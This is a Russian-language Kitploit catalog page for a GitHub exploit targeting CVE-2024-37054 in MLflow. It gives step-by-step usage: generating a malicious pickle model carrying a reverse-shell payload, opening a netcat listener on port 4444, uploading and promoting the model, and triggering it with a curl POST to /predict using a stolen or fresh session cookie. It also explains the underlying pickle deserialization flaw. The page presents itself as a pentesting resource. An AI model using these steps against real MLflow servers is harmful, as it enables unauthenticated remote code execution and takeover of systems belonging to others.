Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-37054-MLflow-reverse-shell — Эксплойт для CVE-2024-37054: генерирует вредоносную модель pickle, загружает её в MLflow и запускает удалённое выполнение кода через конечную точку /predict. | Kitploit
Инструменты/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Эксплойт для CVE-2024-37054: генерирует вредоносную модель pickle, загружает её в MLflow и запускает удалённое выполнение кода через конечную точку /predict.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Инструменты и файлы


ФайлНазначение
generate_model.pyГенерирует вредоносный model.pkl с полезной нагрузкой reverse shell
upload_model.pyЗагружает pickle в MLflow и продвигает его в Production
sample.csvCSV-файл, используемый для вызова конечной точки /predict

Использование

1. Генерация вредоносного pickle

Отредактируйте generate_model.py и укажите ваш IP-адрес tun0:

root@kitploit:~
python3 generate_model.py

2. Запустите слушатель

root@kitploit:~
nc -lvnp 4444

3. Загрузите вредоносную модель

Отредактируйте upload_model.py:

  • Установите MLFLOW в http://127.0.0.1:5000
  • Установите MODEL_NAME в имя активной модели, найденное на основном домене
root@kitploit:~
python3 upload_model.py

4. Запуск выполнения

Получите свежий cookie сессии из клиентского приложения, затем:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

Оболочка появится на вашем слушателе.


Ключевая уязвимость

Десериализация Pickle через MLflow Model Registry

MLflow загружает зарегистрированные модели с помощью pickle.load() из Python. Загрузив сформированный pickle как артефакт модели и продвинув его в Production, любой последующий вызов /predict десериализует полезную нагрузку на стороне сервера, обеспечивая неаутентифицированное удаленное выполнение кода (RCE) от имени пользователя приложения.

Ссылки

  • Документация REST API MLflow
  • Десериализация Pickle в Python
Скачать инструмент